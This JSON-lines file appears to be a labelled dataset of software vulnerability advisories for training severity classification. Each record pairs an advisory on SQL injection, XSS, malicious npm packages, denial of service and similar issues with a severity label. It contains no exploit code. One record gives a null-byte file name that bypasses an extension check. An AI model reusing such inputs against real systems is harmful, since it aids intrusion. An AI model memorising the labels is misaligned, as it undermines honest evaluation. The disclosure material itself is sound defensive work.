-{"id": "472caa8d81b617f1f084", "text": "Array data injection vulnerability in activerecord\n\nSQL injection vulnerability in `activerecord/lib/active_record/connection_adapters/postgresql/cast.rb` in Active Record in Ruby on Rails 4.0.x before 4.0.3, and 4.1.0.beta1, when PostgreSQL is used, allows remote attackers to execute \"add data\" SQL commands via vectors involving `\\` (backslash) characters that are not properly handled in operations on array columns.", "text_raw": "Array data injection vulnerability in activerecord\n\n[Severity: MEDIUM]\n\nSQL injection vulnerability in `activerecord/lib/active_record/connection_adapters/postgresql/cast.rb` in Active Record in Ruby on Rails 4.0.x before 4.0.3, and 4.1.0.beta1, when PostgreSQL is used, allows remote attackers to execute \"add data\" SQL commands via vectors involving `\\` (backslash) characters that are not properly handled in operations on array columns.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "ade1033fbb328ae674a0", "text": "DOS attack in Pillow when processing specially crafted image files\n\nAn issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image.", "text_raw": "DOS attack in Pillow when processing specially crafted image files\n\n[Severity: HIGH]\n\nAn issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-22", "split": "train"}
-{"id": "5f2de22558c42fb4bf83", "text": "Citrix ADC, Gateway, and SD-WAN WANOP Appliance Authorization Bypass Vulnerability\n\nAffected: Citrix Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance\n\nCitrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an authorization bypass vulnerability that may allow unauthenticated access to certain URL endpoints. The attacker must have access to the NetScaler IP (NSIP) in order to perform exploitation.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-284\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Citrix ADC, Gateway, and SD-WAN WANOP Appliance Authorization Bypass Vulnerability\n\nAffected: Citrix Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance\n\nCitrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an authorization bypass vulnerability that may allow unauthenticated access to certain URL endpoints. The attacker must have access to the NetScaler IP (NSIP) in order to perform exploitation.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-284\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "5669a139cbf7bc4ba7f9", "text": "Path Traversal in statics-server\n\nAll versions of `statics-server` are vulnerable to Path Traversal. The package fails to limit access to files outside of the served folder through symlinks.\n\n## Recommendation\n\nNo fix is currently available. Do not use `statics-server` in production or consider using an alternative module until a fix is made available.", "text_raw": "Path Traversal in statics-server\n\n[Severity: MEDIUM]\n\nAll versions of `statics-server` are vulnerable to Path Traversal. The package fails to limit access to files outside of the served folder through symlinks.\n\n\n## Recommendation\n\nNo fix is currently available. Do not use `statics-server` in production or consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-31", "split": "train"}
-{"id": "f964fcffa886a1887973", "text": "Nanometrics Centaur / TitanSMA Unauthenticated Remote Memory Leak Exploit", "text_raw": "Nanometrics Centaur / TitanSMA Unauthenticated Remote Memory Leak Exploit\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2020-02-15", "split": "train"}
-{"id": "b2402d4854f46e21e278", "text": "Uncontrolled Memory Allocation in Apache PDFBox\n\nA carefully crafted PDF file can trigger an OutOfMemory-Exception while loading the file. This issue affects Apache PDFBox version 2.0.22 and prior 2.0.x versions.", "text_raw": "Uncontrolled Memory Allocation in Apache PDFBox\n\n[Severity: MEDIUM]\n\nA carefully crafted PDF file can trigger an OutOfMemory-Exception while loading the file. This issue affects Apache PDFBox version 2.0.22 and prior 2.0.x versions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-13", "split": "train"}
-{"id": "619623bc304030fc09f7", "text": "Asseco SEE iBank FX Client <= 2.0.9.3 Local Privilege Escalation Vulnerability", "text_raw": "Asseco SEE iBank FX Client <= 2.0.9.3 Local Privilege Escalation Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2014-02-06", "split": "train"}
-{"id": "60c11f718fa02ba747ab", "text": "Misinterpretation of malicious XML input\n\n### Impact\n\nxmldom versions 0.4.0 and older do not correctly preserve [system identifiers](https://www.w3.org/TR/2008/REC-xml-20081126/#d0e4313), [FPIs](https://en.wikipedia.org/wiki/Formal_Public_Identifier) or [namespaces](https://www.w3.org/TR/xml-names11/) when repeatedly parsing and serializing maliciously crafted documents.\n\nThis may lead to unexpected syntactic changes during XML processing in some downstream applications.\n\n### Patches\n\nUpdate to 0.5.0 (once it is released)\n\n### Workarounds\n\nDownstream applications can validate the input and reject the maliciously crafted documents.\n\n### References\n\nSimilar to this one reported on the Go standard library:\n\n- https://mattermost.com/blog/coordinated-disclosure-go-xml-vulnerabilities/\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [`xmldom/xmldom`](https://github.com/xmldom/xmldom)\n* Email us: send an email to **all** addresses that are shown by `npm owner ls xmldom`", "text_raw": "Misinterpretation of malicious XML input\n\n[Severity: MEDIUM]\n\n### Impact\n\nxmldom versions 0.4.0 and older do not correctly preserve [system identifiers](https://www.w3.org/TR/2008/REC-xml-20081126/#d0e4313), [FPIs](https://en.wikipedia.org/wiki/Formal_Public_Identifier) or [namespaces](https://www.w3.org/TR/xml-names11/) when repeatedly parsing and serializing maliciously crafted documents.\n\nThis may lead to unexpected syntactic changes during XML processing in some downstream applications.\n\n### Patches\n\nUpdate to 0.5.0 (once it is released)\n\n### Workarounds\n\nDownstream applications can validate the input and reject the maliciously crafted documents.\n\n### References\n\nSimilar to this one reported on the Go standard library:\n\n- https://mattermost.com/blog/coordinated-disclosure-go-xml-vulnerabilities/\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [`xmldom/xmldom`](https://github.com/xmldom/xmldom)\n* Email us: send an email to **all** addresses that are shown by `npm owner ls xmldom`", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "0f3c0c2766258f2f3148", "text": "activesupport Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in `json/encoding.rb` in Active Support in Ruby on Rails 4.1.x before 4.1.11 and 4.2.x before 4.2.2 allows remote attackers to inject arbitrary web script or HTML via a crafted Hash that is mishandled during JSON encoding.", "text_raw": "activesupport Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in `json/encoding.rb` in Active Support in Ruby on Rails 4.1.x before 4.1.11 and 4.2.x before 4.2.2 allows remote attackers to inject arbitrary web script or HTML via a crafted Hash that is mishandled during JSON encoding.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "ea4e1e55dd1dc77ad471", "text": "Arbitrary file upload in Fork CMS\n\nArbitrary file upload vulnerability in Fork CMS 5.9.2 allows attackers to create or replace arbitrary files in the /themes directory via a crafted zip file uploaded to the Themes panel.", "text_raw": "Arbitrary file upload in Fork CMS\n\n[Severity: HIGH]\n\nArbitrary file upload vulnerability in Fork CMS 5.9.2 allows attackers to create or replace arbitrary files in the /themes directory via a crafted zip file uploaded to the Themes panel.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "fbe40e2b1a9b97e66658", "text": "Malicious Package in bitcoin-sweep\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitcoin-sweep\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "99788f66ba0049f68994", "text": "activesupport Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in Ruby on Rails 3.0.x before 3.0.12, 3.1.x before 3.1.4, and 3.2.x before 3.2.2 allows remote attackers to inject arbitrary web script or HTML via vectors involving a SafeBuffer object that is manipulated through certain methods.", "text_raw": "activesupport Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in Ruby on Rails 3.0.x before 3.0.12, 3.1.x before 3.1.4, and 3.2.x before 3.2.2 allows remote attackers to inject arbitrary web script or HTML via vectors involving a SafeBuffer object that is manipulated through certain methods.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "1bc2e51982653daeba2c", "text": "Incorrect Default Permissions in Binance tss-lib\n\nThe keygen protocol implementation in Binance tss-lib before 1.2.0 allows attackers to generate crafted h1 and h2 parameters in order to compromise a signing round or obtain sensitive information from other parties.\n### Specific Go Packages Affected\ngithub.com/binance-chain/tss-lib/ecdsa/keygen", "text_raw": "Incorrect Default Permissions in Binance tss-lib\n\n[Severity: HIGH]\n\nThe keygen protocol implementation in Binance tss-lib before 1.2.0 allows attackers to generate crafted h1 and h2 parameters in order to compromise a signing round or obtain sensitive information from other parties.\n### Specific Go Packages Affected\ngithub.com/binance-chain/tss-lib/ecdsa/keygen", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "5d25261c9fe38f5dee4a", "text": "Rapid7 AppSpider 6.12 Web Application Vulnerability Scanner Elevation Of Privilege", "text_raw": "Rapid7 AppSpider 6.12 Web Application Vulnerability Scanner Elevation Of Privilege\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-07-22", "split": "train"}
-{"id": "028abcc90d28d86ec674", "text": "nw-with-arm downloads Resources over HTTP\n\nAffected versions of `nw-with-arm` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `nw-with-arm`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "nw-with-arm downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `nw-with-arm` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `nw-with-arm`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "6c16fcb3930dee5ff0a9", "text": "Diffoscope may write to arbitrary locations due to an untrusted archive\n\ndiffoscope before 76 writes to arbitrary locations on disk based on the contents of an untrusted archive.", "text_raw": "Diffoscope may write to arbitrary locations due to an untrusted archive\n\n[Severity: CRITICAL]\n\ndiffoscope before 76 writes to arbitrary locations on disk based on the contents of an untrusted archive.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
-{"id": "53f986d61a6514582a4f", "text": "\"Deserialization errors in MyBatis\"\n\nMyBatis before 3.5.6 mishandles deserialization of object streams leading to potential cache poisoning.", "text_raw": "\"Deserialization errors in MyBatis\"\n\n[Severity: HIGH]\n\nMyBatis before 3.5.6 mishandles deserialization of object streams leading to potential cache poisoning.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "ab7828993ba9317fa095", "text": "Uninitialized memory access in outer_cgi\n\nAn issue was discovered in the outer_cgi crate before 0.2.1 for Rust. A user-provided Read instance receives an uninitialized memory buffer from KeyValueReader.", "text_raw": "Uninitialized memory access in outer_cgi\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the outer_cgi crate before 0.2.1 for Rust. A user-provided Read instance receives an uninitialized memory buffer from KeyValueReader.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "160be29e62c84dc855cf", "text": "Prototype Pollution in locutus\n\nAll versions of package locutus prior to version 2.0.12 are vulnerable to Prototype Pollution via the php.strings.parse_str function.", "text_raw": "Prototype Pollution in locutus\n\n[Severity: CRITICAL]\n\nAll versions of package locutus prior to version 2.0.12 are vulnerable to Prototype Pollution via the php.strings.parse_str function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "4f7c834db7453f9d2121", "text": "FTPShell Server 4.3 (licence key) Remote Buffer Overflow PoC", "text_raw": "FTPShell Server 4.3 (licence key) Remote Buffer Overflow PoC\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2009-01-22", "split": "train"}
-{"id": "e6836fa4c20538171780", "text": "Apache NiFi information disclosure by XXE\n\nThe XMLFileLookupService in NiFi versions 1.3.0 to 1.9.2 allowed trusted users to inadvertently configure a potentially malicious XML file. The XML file has the ability to make external calls to services (via XXE) and reveal information such as the versions of Java, Jersey, and Apache that the NiFI instance uses.", "text_raw": "Apache NiFi information disclosure by XXE\n\n[Severity: MEDIUM]\n\nThe XMLFileLookupService in NiFi versions 1.3.0 to 1.9.2 allowed trusted users to inadvertently configure a potentially malicious XML file. The XML file has the ability to make external calls to services (via XXE) and reveal information such as the versions of Java, Jersey, and Apache that the NiFI instance uses.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "414285a74385d46de906", "text": "Telesquare SKT LTE Router SDT-CS3B1 Insecure Direct Object Reference Info Leak", "text_raw": "Telesquare SKT LTE Router SDT-CS3B1 Insecure Direct Object Reference Info Leak\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-12-27", "split": "train"}
-{"id": "59a2dc389b726acb2d16", "text": "Denial of service vulnerability exists when .NET and .NET Core improperly process XML documents\n\nA denial of service vulnerability exists when .NET and .NET Core improperly process XML documents, aka \".NET and .NET Core Denial of Service Vulnerability.\" This affects Microsoft .NET Framework 2.0, Microsoft .NET Framework 3.0, Microsoft .NET Framework 4.7.1, Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1, Microsoft .NET Framework 4.5.2, Microsoft .NET Framework 4.7/4.7.1, Microsoft .NET Framework 4.6, Microsoft .NET Framework 3.5, Microsoft .NET Framework 3.5.1, Microsoft .NET Framework 4.6/4.6.1/4.6.2, Microsoft .NET Framework 4.6.2/4.7/4.7.1, .NET Core 2.0, Microsoft .NET Framework 4.7.2.", "text_raw": "Denial of service vulnerability exists when .NET and .NET Core improperly process XML documents\n\n[Severity: HIGH]\n\nA denial of service vulnerability exists when .NET and .NET Core improperly process XML documents, aka \".NET and .NET Core Denial of Service Vulnerability.\" This affects Microsoft .NET Framework 2.0, Microsoft .NET Framework 3.0, Microsoft .NET Framework 4.7.1, Microsoft .NET Framework 4.6/4.6.1/4.6.2/4.7/4.7.1, Microsoft .NET Framework 4.5.2, Microsoft .NET Framework 4.7/4.7.1, Microsoft .NET Framework 4.6, Microsoft .NET Framework 3.5, Microsoft .NET Framework 3.5.1, Microsoft .NET Framework 4.6/4.6.1/4.6.2, Microsoft .NET Framework 4.6.2/4.7/4.7.1, .NET Core 2.0, Microsoft .NET Framework 4.7.2.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "bf25284c702fdd381fa1", "text": "Improper Input Validation in fruity\n\nMethods of NSString for conversion to a string may return a partial result. Since they call CStr::from_ptr on a pointer to the string buffer, the string is terminated at the first null byte, which might not be the end of the string.\n\nIn addition to the vulnerable functions listed for this issue, the implementations of Display, PartialEq, PartialOrd, and ToString for NSString are also affected, since they call those functions.\n\nSince NSString is commonly used as the type for paths by the Foundation framework, null byte truncation might allow for easily bypassing file extension checks. For example, if a file name is provided by a user and validated to have one of a specific set of extensions, with validation taking place before truncation, an attacker can add an accepted extension after a null byte (e.g., file.exe\\0.txt). After truncation, the file name used by the application would be file.exe.\n\nIt would be better to generate unique names for files, instead of using user-provided names, but not all applications take this approach.", "text_raw": "Improper Input Validation in fruity\n\n[Severity: HIGH]\n\nMethods of NSString for conversion to a string may return a partial result. Since they call CStr::from_ptr on a pointer to the string buffer, the string is terminated at the first null byte, which might not be the end of the string.\n\nIn addition to the vulnerable functions listed for this issue, the implementations of Display, PartialEq, PartialOrd, and ToString for NSString are also affected, since they call those functions.\n\nSince NSString is commonly used as the type for paths by the Foundation framework, null byte truncation might allow for easily bypassing file extension checks. For example, if a file name is provided by a user and validated to have one of a specific set of extensions, with validation taking place before truncation, an attacker can add an accepted extension after a null byte (e.g., file.exe\\0.txt). After truncation, the file name used by the application would be file.exe.\n\nIt would be better to generate unique names for files, instead of using user-provided names, but not all applications take this approach.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-16", "split": "train"}
-{"id": "048621be2ebc2ce2a373", "text": "Malicious Package in commanedr\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in commanedr\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "240b3c672411d20ccb7b", "text": "Automated Logic WebCTRL 6.5 Unrestricted File Upload Remote Code Execution", "text_raw": "Automated Logic WebCTRL 6.5 Unrestricted File Upload Remote Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-08-22", "split": "train"}
-{"id": "dce5b906b2cc3ca52b39", "text": "Microsoft Windows Server Buffer Overflow Vulnerability\n\nAffected: Microsoft Internet Information Services (IIS)\n\nMicrosoft Windows Server 2003 R2 contains a buffer overflow vulnerability in Internet Information Services (IIS) 6.0 which allows remote attackers to execute code via a long header beginning with \"If: <http://\" in a PROPFIND request.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Server Buffer Overflow Vulnerability\n\nAffected: Microsoft Internet Information Services (IIS)\n\nMicrosoft Windows Server 2003 R2 contains a buffer overflow vulnerability in Internet Information Services (IIS) 6.0 which allows remote attackers to execute code via a long header beginning with \"If: <http://\" in a PROPFIND request.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2d6a4fcfb2973ce817d1", "text": "selenium-binaries downloads resources over HTTP\n\nVersions of `selenium-binaries` prior to 0.15.0 insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `selenium-binaries`.\n\n## Recommendation\n\nA fix for this vulnerability is available on the `master` branch of the repository as part of version 0.15.0.\n\nAnother mitigation currently available is to use an alternate package, such as [selenium-webdriver](https://www.npmjs.com/package/selenium-webdriver), the official selenium bindings for node.js.", "text_raw": "selenium-binaries downloads resources over HTTP\n\n[Severity: HIGH]\n\nVersions of `selenium-binaries` prior to 0.15.0 insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `selenium-binaries`.\n\n\n## Recommendation\n\nA fix for this vulnerability is available on the `master` branch of the repository as part of version 0.15.0.\n\nAnother mitigation currently available is to use an alternate package, such as [selenium-webdriver](https://www.npmjs.com/package/selenium-webdriver), the official selenium bindings for node.js. ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "92eed6c49b7925f54d6c", "text": "Potential XSS injection In PrestaShop contactform\n\n### Impact\nAn attacker is able to inject javascript while using the contact form.\n\n### Patches\nThe problem is fixed in v4.3.0\n\n### References\n[Cross-site Scripting (XSS) - Stored (CWE-79)](https://cwe.mitre.org/data/definitions/79.html)", "text_raw": "Potential XSS injection In PrestaShop contactform\n\n[Severity: HIGH]\n\n### Impact\nAn attacker is able to inject javascript while using the contact form. \n\n### Patches\nThe problem is fixed in v4.3.0\n\n### References\n[Cross-site Scripting (XSS) - Stored (CWE-79)](https://cwe.mitre.org/data/definitions/79.html)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-15", "split": "train"}
-{"id": "c420d8ec141b1305f010", "text": "Downloads Resources over HTTP in jvminstall\n\nAffected versions of `jvminstall` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `jvminstall`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in jvminstall\n\n[Severity: HIGH]\n\nAffected versions of `jvminstall` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `jvminstall`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "a2aab6e5b7857c46cd1b", "text": "VMware Multiple Products Privilege Escalation Vulnerability\n\nAffected: VMware Multiple Products\n\nVMware Fusion, Remote Console (VMRC) for Mac, and Horizon Client for Mac contain a privilege escalation vulnerability due to improper use of setuid binaries that allows attackers to escalate privileges to root.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-269\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "VMware Multiple Products Privilege Escalation Vulnerability\n\nAffected: VMware Multiple Products\n\nVMware Fusion, Remote Console (VMRC) for Mac, and Horizon Client for Mac contain a privilege escalation vulnerability due to improper use of setuid binaries that allows attackers to escalate privileges to root.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-269\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "8ff9bf9f46aa5407023d", "text": "Prototype Pollution in mootools\n\nThis affects all versions of package mootools. This is due to the ability to pass untrusted input to Object.merge()", "text_raw": "Prototype Pollution in mootools\n\n[Severity: MEDIUM]\n\nThis affects all versions of package mootools. This is due to the ability to pass untrusted input to Object.merge()", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "a1f43f21759102a27da9", "text": "Teradek Slice 7.3.15 CSRF Change Password Exploit", "text_raw": "Teradek Slice 7.3.15 CSRF Change Password Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-05-21", "split": "train"}
-{"id": "5c8b2c61a776153b6a23", "text": "Malicious Package in discord.js-user\n\nAll versions of `discord.js-user` contain malicious code. The package uploads the user's Discord token to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. Ensure any compromised tokens are invalidated.", "text_raw": "Malicious Package in discord.js-user\n\n[Severity: CRITICAL]\n\nAll versions of `discord.js-user` contain malicious code. The package uploads the user's Discord token to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure any compromised tokens are invalidated.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "cee6fef375c07463f339", "text": "Content injection in marked\n\nVersions 0.3.7 and earlier of marked When mangling is disabled via option mangle don't escape target href. This allow attacker to inject arbitrary html-event into resulting a tag.", "text_raw": "Content injection in marked\n\n[Severity: MEDIUM]\n\nVersions 0.3.7 and earlier of marked When mangling is disabled via option mangle don't escape target href. This allow attacker to inject arbitrary html-event into resulting a tag.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-25", "split": "train"}
-{"id": "7e402ba05bcd0e157422", "text": "Missing Encryption of Sensitive Data in yarn\n\nYarn before 1.17.3 is vulnerable to Missing Encryption of Sensitive Data due to HTTP URLs in lockfile causing unencrypted authentication data to be sent over the network.", "text_raw": "Missing Encryption of Sensitive Data in yarn\n\n[Severity: HIGH]\n\nYarn before 1.17.3 is vulnerable to Missing Encryption of Sensitive Data due to HTTP URLs in lockfile causing unencrypted authentication data to be sent over the network.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-31", "split": "train"}
-{"id": "b22c5adb022ad365b8aa", "text": "[Unknown] Login page password-guessing attack\n\nHello team of Reddapi!\n\nHere to report a vulnerability on your site.\n\nAffected site: www.reddapi.com\n\nVulnerability: Login page password-guessing attack.\n\nVulnerability description:\n\nA brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works\n\nAttack Details:\n\nhttp://www.reddapi.com/ (/login) page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.\n\nI personally tried many times with wrong password even though no account lockout was detected.\n\nFix: Implement Captcha\n\nWell, I wait more information about this report!\n\nThanks and best regards,\n\nSimone", "text_raw": "[Unknown] Login page password-guessing attack\n\nHello team of Reddapi!\r\n\r\nHere to report a vulnerability on your site.\r\n\r\nAffected site: www.reddapi.com\r\n\r\nVulnerability: Login page password-guessing attack\r\n\r\nSeverity:Low.\r\n\r\nVulnerability description:\r\n\r\nA brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works\r\n\r\nAttack Details:\r\n\r\nhttp://www.reddapi.com/ (/login) page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts.\r\n\r\nI personally tried many times with wrong password even though no account lockout was detected.\r\n\r\n\r\nFix: Implement Captcha\r\n\r\n\r\nWell, I wait more information about this report!\r\n\r\n\r\nThanks and best regards,\r\n\r\n\r\nSimone", "severity": "low", "severity_label": 0, "source": "hackerone", "timestamp": "2014-05-09", "split": "train"}
-{"id": "c0d5630e49596c7fad40", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Moodle\n\nThe participants table download in Moodle always included user emails, but should have only done so when users' emails are not hidden. Versions affected: 3.9 to 3.9.2, 3.8 to 3.8.5 and 3.7 to 3.7.8. This is fixed in moodle 3.9.3, 3.8.6, 3.7.9, and 3.10.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Moodle\n\n[Severity: MEDIUM]\n\nThe participants table download in Moodle always included user emails, but should have only done so when users' emails are not hidden. Versions affected: 3.9 to 3.9.2, 3.8 to 3.8.5 and 3.7 to 3.7.8. This is fixed in moodle 3.9.3, 3.8.6, 3.7.9, and 3.10.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-21", "split": "train"}
-{"id": "cdba367eb13b5fa4b7a1", "text": "Denial of Service (DoS) in mongo-express\n\nAll versions of package mongo-express are vulnerable to Denial of Service (DoS) when exporting an empty collection as CSV, due to an unhandled exception, leading to a crash.", "text_raw": "Denial of Service (DoS) in mongo-express\n\n[Severity: MEDIUM]\n\nAll versions of package mongo-express are vulnerable to Denial of Service (DoS) when exporting an empty collection as CSV, due to an unhandled exception, leading to a crash.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
